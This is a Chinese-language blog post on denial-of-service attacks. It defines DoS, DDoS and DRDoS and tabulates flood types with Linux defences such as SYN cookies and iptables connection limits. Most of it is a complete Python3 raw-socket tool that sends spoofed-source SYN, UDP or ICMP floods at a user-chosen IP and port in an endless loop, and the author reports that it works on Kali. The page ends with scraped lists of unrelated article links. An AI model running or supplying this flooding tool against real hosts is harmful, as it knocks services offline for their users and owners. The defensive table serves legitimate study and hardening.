一、说明

我一直不明白为什么拒绝服务,初学着喜欢拿来装逼、媒体喜欢吹得神乎其神、公司招聘也喜欢拿来做标准,因为我觉得拒绝服务和社会工程学就是最名不副实的两样东西。当然由于自己不明确拒绝服务在代码上是怎么个实现过程,所以虽然如此认为但不免底气不足。趁着有时间来考究一番。

二、拒绝服务定义

Denial of Service,简写DoS,拒绝服务是英文名直接翻译,指的是正常用户无法得到服务的现像。广义上包括通过缓冲区溢出等漏洞进行攻击使服务挂掉、发送大量数据包占用完系统分配给服务的资源、发送大量数据包占用完所有系统资源三种情况。一般的拒绝服务指后两种,最经典的拒绝服务指最后一种。

由于后两种手段都是发送大量数据包结果都是拒绝服务所以大概很多人都视为一类,但追究而言其结果还是有很大差别的。

如果系统对服务可用的资源进行了限制,比如最多3000个连接(假设此时cpu百分之五十),攻击时3000个连接用完新连接不能建立,但是此时cpu不会达到百分之百,如果是长连接那么已连接上来的用户仍可享受服务。

如果系统没有对服务可用的资源进行限制,那么通过dos就可以不断发起连接,直至目标主机cpu达到百分之百,轻则系统自动重启重则导致发热严重引起短路。

三、拒绝服务的分类

3.1 dos基本类型

攻击方法 攻击原理 目标 是否需要真实源IP DoS攻击效果 防范方法
icmp flood 通过发送icmp数据包让主机回应以占用资源 主机 否。但是只能防封ip不能增加服务端资源消耗 一般。攻击机与目标机耗同样的资源 禁ping(net.ipv4.icmp_echo_ignore_all=1)
udp flood 向端口发送大量udp数据包判断是否监听和回应都耗资源 udp端口 否。但是只能防封ip不能增加服务端资源消耗 一般。攻击机与目标机耗同样的资源 禁返回端口不可达(type3/code3,iptables -I OUTPUT -p icmp --icmp-type destination-unreachable -j DROP)
syn flood 只发送syn不发送ack使目标机处于等待ack的资源占用方式 tcp端口 否。 优。由于目标机要等待所以目标机会耗更多资源 缩短syn timeout(net.ipv4.tcp_synack_retries = 5)、使用syn cookie(net.ipv4.tcp_syncookies = 1)
tcp flood 攻击攻与目标击完成三次握手并保持连接以此占用资源 tcp端口 是。 一般。攻击机与目标机耗同样的资源 限制单个ip连接数(iptables -I INPUT -p tcp –dport 80 -m connlimit –connlimit-above 20 -j DROP)
CC 对某个页面发送大量请求直致其无法正常显示 http端口 是。 良。由于目标机要生成页面会耗更多资源 限制单个ip连接数(iptables -I INPUT -p tcp –dport 80 -m connlimit –connlimit-above 20 -j DROP)

3.2 dos增强方法

在上面中我们看到即便是效果最好的syn flood也只能让攻击机比目标机消耗一些资源,单纯地直接DoS顶多也只是杀敌一千自损八百,而且往往服务器性能要比攻击机强直接DoS效果是不会很好的。

攻击方式 全称 攻击机 可用于的攻击方法 可胜任攻击目标
DoS Denial-of-Service 单台攻击机直接DoS icmp/udp/syn/tcp/cc IOT硬件
DDoS Distributed Denial-of-Service 多台受控机一同进行DoS icmp/udp/syn/tcp/cc 小型网站
DRDoS Distributed Reflection Denial-of-Service 多台第三方机进行反射DoS icmp/udp/syn/tcp 大型网站

四、dos攻击代码(syn/udp/icmp)

程序使用Python3编写,实现syn/udp/icmp flood(这三个需要自己设置原始套接字,tcp和cc自己像普通网络编程写一下即可),运行时自己修改目标ip和端口和dos类型;由于构造原始数据包所以要使用管理员权限运行。

windows上运行有问题,syn运行报“OSError: [WinError 10022] 提供了一个无效的参数”,udp和icmp没拦截到数据包;但在在kali上运行都是没问题的。

另外,如果对此程序进行以下三项改造:去掉不断发送数据包的while、将源ip固定为本机ip并使用recvfrom函数接收返回数据包、对recvfrom到的数据包进行分析,那就成了一个类似nmap的系统扫描器。

4.1 代码

import binascii
import random
import socket
import struct class DosTool:
# 此函数用于计算校验和函数,tcp/udp/icmp都使用此函数计算
def calc_checksum(self, header):
# 校验和,初始置0
checksum = 0
# 遍历头部,步长为2
for i in range(0, len(header), 2):
# 获取第一个字节值
tmp = header[i]
# 第一字节左移8位,腾出低8位给第二个字节,两者相加,就相当于取了一个word
tmp = (tmp << 8) + header[i + 1]
# 取出的word累加
checksum += tmp
# 一般都会溢出,将超过16字节的部份加到低位去
checksum = (checksum & 0xffff) + (checksum >> 16)
# 有可能再次溢出,所以尝试再次将超过16字节的部份加到低位去
# 理论上应该不会再次溢出,所以有些文章这里用while感觉不是必须的
checksum += (checksum >> 16)
# 取反码
checksum = ~checksum & 0xffff
return checksum # 此函数用于生成tcp和udp的伪首部(伪首部参与校验和计算,但icmp不需要伪首部)
def gen_psd_header(self,source_addr,dest_addr,protocol,header_and_data_length):
# 源ip地址,32位
psd_source_addr = socket.inet_aton(source_addr)
# 目标ip地址,32位
psd_dest_addr = socket.inet_aton(dest_addr)
# 填充用的,置0,8位
psd_mbz = 0
# 协议,8位
psd_ptcl = protocol
# 传输层头部(不包括此首部)加其上层数据的长度
psd_lenght = header_and_data_length
# 生成伪首部
psd_header = struct.pack("!4s4sBBH", psd_source_addr, psd_dest_addr, psd_mbz, psd_ptcl, psd_lenght)
# 返回伪首部
return psd_header # 此函数用于生成tcp头
def gen_tcp_header(self,source_addr,dest_addr,source_port,dest_port):
# tcp源端口,16位;在syn攻击中设为随机端口
tcp_source_port = source_port
# tcp目标端口,16位;在syn攻击中设为攻击目标端口
tcp_dest_port = dest_port
# 数据包序列号,32位;在syn攻击中使用随机生成
tcp_seq = random.randint(0x10000000,0xffffffff)
# 要确认已收到的数据包的序列号,32位;由于是syn包,所以ack为0
tcp_ack = 0
# tcp头部长度,4位;标准tcp头部长度为20个字节(20/4=5)
tcp_header_lenght = (5 << 4 | 0)
# 本来是长度4位、保留位6位、标志位6位
# 但保留位一般不用都是0,所以这里直接将保留中的4个0分入长度中,2个0分入标志位中,保留位直接不用管
# tcp_reserved = 0
# 标志位,6位;6个标志位依次为URG/ACK/PSH/RST/SYN/FIN,所以syn对应标志位为000010,即2
tcp_flag = 2
# 窗口大小,16位;不知道对抗syn的防火墙有没有根据这个值做策略的,比如大量窗口大小一样的认为受到syn攻击,大量不常窗口大小也认为受到syn
tcp_win_size = 0x2000
# tcp头部校验和,16位;开始时我们置0,以使头部校验和一起计算也不影响校验和结果
tcp_header_checksum = 0
# 这个值暂时没懂做什么用,16位
tcp_urp = 0 # 首次组装tcp头部,开头的!表示bigend模式,B/H/L分别表示将后边对应位次的值格式化成无符号的1/2/4字节长度
tcp_header = struct.pack("!HHLLBBHHH",tcp_source_port,tcp_dest_port,tcp_seq,tcp_ack,tcp_header_lenght,tcp_flag,tcp_win_size,tcp_header_checksum,tcp_urp)
# print(f"packet is {binascii.b2a_hex(tcp_header)}") # 生成伪首部
protocol = socket.IPPROTO_TCP
# 注意传给伪首部的长度是整个tcp报文(tcp头部+数据)的长度,而不是tcp头部的长度
# 只是由于syn数据包不带数据所以这里才可以写成len(tcp_header)
header_and_data_length = len(tcp_header)
# 伪首部
psd_header = self.gen_psd_header(source_addr,dest_addr,protocol,header_and_data_length)
# 组装成用来计算校验和的头部,tcp数据应该不像udp数据那样需要参与校验和计算但也不是十分肯定,当然syn本身是没数据的要不要参与都没影响
virtual_tcp_header = psd_header + tcp_header
# 调用calc_checksum()计算校验和
tcp_header_checksum = self.calc_checksum(virtual_tcp_header) # 计算得到校检和之后,再次组装,得到真正的tcp头部
tcp_header = struct.pack("!HHLLBBHHH", tcp_source_port, tcp_dest_port, tcp_seq, tcp_ack, tcp_header_lenght, tcp_flag, tcp_win_size, tcp_header_checksum, tcp_urp)
# print(f"tcp header is {binascii.b2a_hex(tcp_header)}") return tcp_header # 此函数用于生成udp头
def gen_udp_header(self,source_addr,dest_addr,source_port,dest_port,udp_data):
# udp源端口,16位;在dos攻击中设为随机端口
udp_source_port = source_port
# udp目标端口,16位;在dos攻击中设为攻击目标端口
udp_dest_port = dest_port
# udp数据包长度,包括udp头和udp数据,16位
udp_lenght = 8 + len(udp_data)
# udp头部校验和,16位
udp_header_checksum = 0 # 未加入校验和的udp头
udp_header_no_checksum = struct.pack("!HHHH", udp_source_port, udp_dest_port, udp_lenght, udp_header_checksum)
# 生成伪首部
protocol = socket.IPPROTO_UDP
psd_header = self.gen_psd_header(source_addr,dest_addr,protocol,udp_lenght)
# 拼成虚拟头部用以计算校验和,udp携带的数据参与校验和计算
virtual_udp_header = psd_header + udp_header_no_checksum + udp_data.encode()
udp_header_checksum = self.calc_checksum(virtual_udp_header)
# 生成真正的udp头部
udp_header = struct.pack("!HHHH", udp_source_port, udp_dest_port, udp_lenght, udp_header_checksum) return udp_header # 此函数用于生成icmp头
def gen_icmp_header(self):
# icmp类型,ping固定为8,8位
icmp_type = 8
# 8位
icmp_code = 0
# icmp头部校验和,16位
icmp_header_checksum = 0
# icmp没有端口,需要使用某个值担当起端口的标识作用,以区分收到的icmp包是对哪个icmp进程的响应
# icmp识别号,16位;
# 响应包中该值与请求包中一样,linux设置为进程pid,windows不同版本操作系统设为不同固定值
# linux操作系统使用该值区分不同icmp进程
icmp_identifier = random.randint(1000,10000)
# icmp请求序列号,16位
# 从0开始递增(存疑),每发一个icmp包就加1;响应包中该值与请求包中一样
# windows使用该值来区分不同icmp进程
icmp_seq_num = random.randint(1000,10000)
# icmp携带数据,响应中会回显同样的数据
# 此数据长度正是icmp dos的关键,越长目标主机处理所用的资源就越多,攻击效果就越明显
icmp_data = "abcdefghijklmnopqrstuvwxyz" # 未加入校验和的icmp头
icmp_data_length = len(icmp_data)
icmp_header_no_checksum = struct.pack(f"!BBHHH{icmp_data_length}s",icmp_type,icmp_code,icmp_header_checksum,icmp_identifier,icmp_seq_num,icmp_data.encode()) # 计算校验和,icmp校验和只需要icmp头自己参与计算,不需要伪首部(没有端口tcp/udp那样的伪首部要也生成不了)
icmp_header_checksum = self.calc_checksum(icmp_header_no_checksum) # 生成真正的icmp头
icmp_header = struct.pack(f"!BBHHH{icmp_data_length}s",icmp_type,icmp_code,icmp_header_checksum,icmp_identifier,icmp_seq_num,icmp_data.encode())
return icmp_header # 此函数用于生成ip头
def gen_ip_header(self,source_addr,dest_addr,transport_segment_size,transport_layer_protocol):
# 版本号4位,长度4位,方便起见这里放一起赋值
ip_version_and_lenght = 0x45
# 服务类型,8位,置0
ip_tos = 0
# 整个ip数据包长度(ip头长度+tcp报文长度),8位;
# ip头长度为5*4=20字节,tcp_total_size指的是整个ip报文的长度而不单指tcp头部的长度,只是syn数据包不带数据,所以刚好ip报文的长度等于tcp头部的长度
ip_total_lenght = 20 + transport_segment_size
# 这个值当前暂时不懂有什么作用
ip_identitication = 1 ip_flags_and_frag = 0x4000
# ttl,8位
ip_ttl = 128
# 上层协议,8位
ip_protocol = transport_layer_protocol
# ip头部校验和,16位
ip_header_checksum = 0
# 源ip地址,32位
ip_source_addr = socket.inet_aton(source_addr)
# 目标ip地址,32位
ip_dest_addr = socket.inet_aton(dest_addr)
# 首次组装ip头部,开头的!表示bigend模式,B/H/L分别表示将后边对应位次的值格式化成无符号的1/2/4字节长度
ip_header = struct.pack("!BBHHHBBh4s4s", ip_version_and_lenght, ip_tos, ip_total_lenght, ip_identitication, ip_flags_and_frag, ip_ttl, ip_protocol, ip_header_checksum,
ip_source_addr,ip_dest_addr)
print(f"packet is {binascii.b2a_hex(ip_header)}")
# 调用calc_checksum()计算ip头部校验和
ip_header_checksum = self.calc_checksum(ip_header)
# 计算得到校检和之后,再次组装,得到真正的IP头部
ip_header = struct.pack("!BBHHHBBH4s4s", ip_version_and_lenght, ip_tos, ip_total_lenght, ip_identitication, ip_flags_and_frag, ip_ttl, ip_protocol, ip_header_checksum,ip_source_addr, ip_dest_addr)
print(f"ip header is {binascii.b2a_hex(ip_header)}") return ip_header # 此函数用于生成要发送的ip数据包
def gen_dos_ip_packet(self,transport_layer_protocol):
# 源IP地址;syn攻击,所以随机生成
source_addr = f"{random.randint(0,240)}.{random.randint(0,240)}.{random.randint(0,240)}.{random.randint(0,240)}"
# source_addr = "10.10.6.91"
# 源端口;syn攻击,所以随机生成
source_port = random.randint(10000, 60000)
# source_port = 12345
# 根据设定的dos类型,生成ip协议载荷
if transport_layer_protocol == socket.IPPROTO_TCP:
tcp_header = self.gen_tcp_header(source_addr, dest_addr, source_port, dest_port)
transport_segment = tcp_header
elif transport_layer_protocol == socket.IPPROTO_UDP:
# udp数据包携带的数据,数据越长目标主机接收数据包所用资源就越多,攻击效果就越好
# 不过udp中这些数据都不返回而icmp中会原样返回,所以就效果上应该是icmp攻击比udp好一点
udp_data = "abcdefghijklmnopqrstuvwxyz"
udp_header = self.gen_udp_header(source_addr,dest_addr,source_port,dest_port,udp_data)
transport_segment = udp_header + udp_data.encode()
elif transport_layer_protocol == socket.IPPROTO_ICMP:
icmp_header = self.gen_icmp_header()
transport_segment = icmp_header
# 整个ip协议载荷的长度
transport_segment_size = len(transport_segment)
# 调用gen_ip_header()获取ip头
ip_header = dos_tool_obj.gen_ip_header(source_addr, dest_addr, transport_segment_size, transport_layer_protocol)
# 组合ip头部和ip载荷,构成完整ip数据包
dos_ip_packet = ip_header + transport_segment return dos_ip_packet def exec_dos_attack(self,dest_addr,dest_port,dos_type):
dos_type = dos_type.lower()
if dos_type == 'syn':
transport_layer_protocol = socket.IPPROTO_TCP
elif dos_type == 'udp':
transport_layer_protocol = socket.IPPROTO_UDP
elif dos_type == 'icmp':
transport_layer_protocol = socket.IPPROTO_ICMP
# 构造socket
dos_socket = socket.socket(socket.AF_INET, socket.SOCK_RAW, transport_layer_protocol)
dos_socket.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 1)
# 不断生成和发送数据包
while True:
ip_packet = self.gen_dos_ip_packet(transport_layer_protocol)
dos_socket.sendto(ip_packet, (dest_addr, dest_port))
print(f"packet send success")
# 如果不是一直发送,而是发送一个syn包后接收返回数据进行分析,那就是syn扫描
# 此时接收到的是ip层及之后各层的数据;如“450000285c3740004006bdce0a0a065b0a0a065c846c0016324322fe07ff0b165010402962080000”
# return_data = dos_socket.recvfrom(1024)[0]
# print(f"receive return data: {binascii.b2a_hex(return_data)}") if __name__ == "__main__":
# 实例化
dos_tool_obj = DosTool()
# 目标ip地址;改成自己要攻击的ip地址
dest_addr = "10.10.6.91"
# 目标端口;改成自己要攻击的目标端口
dest_port = 21
# dos类型,可以是syn/udp/icmp
dos_type = 'udp'
dos_tool_obj.exec_dos_attack(dest_addr, dest_port, dos_type)

4.2 运行截图

4.2.1 syn flood运行截图

在下图中可以看到,和预期一样:

目标ip和端口收到大量来自不同源地址的syn包、目标ip主机上建立大量等待ack的连接、checksum是正确的

4.2.2 udp flood运行截图

在下图中可以看到,和预期一样:

目标ip和端口收到大量来自不同源地址的udp数据包、目标端口没有udp监听所以返回端口不可达ICMP(type3/code3)、checksum是正确的

4.2.3 icmp flood运行截图

在下图中可以看到,和预期一样:

目标ip收到大量来自不同源地址的icmp(type8/code0)数据包、目标ip返回返回响应(tpye0/code0)、checksum是正确的

参考:

http://www.faqs.org/rfcs/rfc793.html

https://tools.ietf.org/html/rfc768

https://tools.ietf.org/html/rfc792

拒绝服务(DoS)理解、防御与实现的更多相关文章

  1. 三种连接 & DOS & SYNFLOOD & 防御

    accept的时候,三次连接是建立的. 有一种DOS攻击是SYN FLOOD,就是大量的SYN到达,但是没有ACK,无法建立起连接. 防御的方法,有多种,如下: 比如,禁止部分源地址: 到达一定阈值之 ...

  2. DDOS攻击(流量攻击)防御步骤

    DDOS全名是Distributed Denial of service (分布式拒绝服务攻击),很多DOS攻击源一起攻击某台服务器就组成了DDOS攻击,DDOS 最早可追溯到1996年最初,在中国2 ...

  3. Windows Azure 安全最佳实践 - 第 1 部分:深度解析挑战防御对策

    我每次与开发人员讨论将应用程序迁移到云时都围绕着两个主要问题. 1. 首先是业务.将应用程序迁移到云可以带来怎样的规模经济? 2. 其次是安全问题."云的安全性如何,尤其是Windows A ...

  4. 理解 Linux backlog/somaxconn 内核参数

    https://jaminzhang.github.io/linux/understand-Linux-backlog-and-somaxconn-kernel-arguments/ 各参数的含义:h ...

  5. Syn_Flood攻击&防御手段

    Syn_Flood攻击原理 攻击者首先伪造地址对服务器发起SYN请求(我可以建立连接吗?),服务器就会回应一个ACK+SYN(可以+请确认).而真实的IP会认为,我没有发送请求,不作回应.服务器没有收 ...

  6. web安全实战

    前言 本章将主要介绍使用Node.js开发web应用可能面临的安全问题,读者通过阅读本章可以了解web安全的基本概念,并且通过各种防御措施抵御一些常规的恶意攻击,搭建一个安全的web站点. 在学习本章 ...

  7. 《Hadoop》对于高级编程Hadoop实现构建企业级安全解决方案

    本章小结 ●    理解企业级应用的安全顾虑 ●    理解Hadoop尚未为企业级应用提供的安全机制 ●    考察用于构建企业级安全解决方式的方法 第10章讨论了Hadoop安全性以及Hadoop ...

  8. 《Hadoop高级编程》之为Hadoop实现构建企业级安全解决方案

    本章内容提要 ●    理解企业级应用的安全顾虑 ●    理解Hadoop尚未为企业级应用提供的安全机制 ●    考察用于构建企业级安全解决方案的方法 第10章讨论了Hadoop安全性以及Hado ...

  9. 如何构建和设计以确保 API 的安全性

    如何构建和设计以确保 API 的安全性 面对常见的OWASP十大威胁.未经授权的访问.拒绝服务攻击.以及窃取机密数据等类型的攻击,企业需要使用通用的安全框架,来保护其REST API,并保证良好的用户 ...

  10. Reporting Services 的伸缩性和性能表现规划(转载)

    简介 Microsoft? SQL Server? Reporting Services 是一个将集中管理的报告服务器具有的伸缩性和易管理性与基于 Web 和桌面的报告交付手段集于一身的报告平台.Re ...

随机推荐

  1. python selenium webdriver入门基本操作

    python selenium webdriver入门基本操作 未经作者允许,禁止转载! from selenium import webdriver import time driver=webdr ...

  2. linux----------阿里云服务器使用过程中遇到的各种问题以及解决渠道

    1.Windows Server 2012 R2 或 2016 无法安装 .NET Framework 3.5.1:  https://help.aliyun.com/knowledge_detail ...

  3. phpcms列表页替换

    根据栏目代号获取栏目图 <img src="{$CATEGORYS[$top_parentid][image]}" width="1200" height ...

  4. spring cloud zuul参数调优

    zuul 内置参数 zuul.host.maxTotalConnections 适用于ApacheHttpClient,如果是okhttp无效.每个服务的http客户端连接池最大连接,默认是200. ...

  5. NOIP2015跳石头

    题目描述 Description 一年一度的“跳石头”比赛又要开始了! 这项比赛将在一条笔直的河道中进行,河道中分布着一些巨大岩石.组委会已经选择好了两块岩石作为比赛起点和终点.在起点和终点之间,有N ...

  6. SiteCore Experience Analytics-路径分析地图

    路径分析地图 路径分析器是一个应用程序,允许您查看联系人在浏览网站时所采用的各种路径.您可以查看联系人在转换目标并与广告系列互动时所采用的路径,让您深入了解哪些路径为每次转化提供最佳参与价值,以及哪些 ...

  7. bs4.FeatureNotFound: Couldn’t find a tree builder with the features you requested: lxml.

    python3 bs4解析网页时报错: bs4.FeatureNotFound: Couldn’t find a tree builder with the features you requeste ...

  8. 异步async、await和Future的使用技巧

    由于前面的HTTP请求用到了异步操作,不少小伙伴都被这个问题折了下腰,今天总结分享下实战成果.Dart是一个单线程的语言,遇到有延迟的运算(比如IO操作.延时执行)时,线程中按顺序执行的运算就会阻塞, ...

  9. 为什么notify(), wait()等函数定义在Object中,而不是Thread中

    Object中的wait(), notify()等函数,和synchronized一样,会对“对象的同步锁”进行操作. wait()会使“当前线程”等待,因为线程进入等待状态,所以线程应该释放它锁持有 ...

  10. elasticsearch 索引备份恢复

    备份脚本 es_backup.sh : #!/bin/bash#备份昨天数据,删除30天前索引 host=`hostname`address="xxx@xxx.com" es_us ...